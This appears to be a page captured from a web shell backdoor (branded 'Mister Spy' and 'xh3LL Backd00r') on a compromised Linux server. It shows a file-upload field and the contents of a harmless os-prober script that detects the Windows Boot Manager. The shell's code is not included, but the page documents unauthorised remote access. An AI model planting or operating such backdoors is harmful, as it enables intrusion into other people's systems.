Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /usr/libexec/os-probes/mounted/efi/
Upload File :
Current File : //usr/libexec/os-probes/mounted/efi/20microsoft

#!/usr/bin/sh
# Detects Microsoft bootloader on a EFI System Partition

. /usr/share/os-prober/common.sh

efi="$1"

found=
for microsoft in $(item_in_dir microsoft "$efi"); do
	for boot in $(item_in_dir boot "$efi/$microsoft"); do
		bcd=$(item_in_dir bcd "$efi/$microsoft/$boot")
		bootmgfw=$(item_in_dir bootmgfw.efi "$efi/$microsoft/$boot")
		if [ -n "$bcd" -a -n "$bootmgfw" ]; then
			long="Windows Boot Manager"
			short=Windows
			path="$microsoft/$boot/$bootmgfw"
			found=true
			break
		fi
	done
done


if [ -n "$found" ]; then
	label="$(count_next_label "$short")"
	result "${path}:${long}:${label}"
fi
exit 0

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat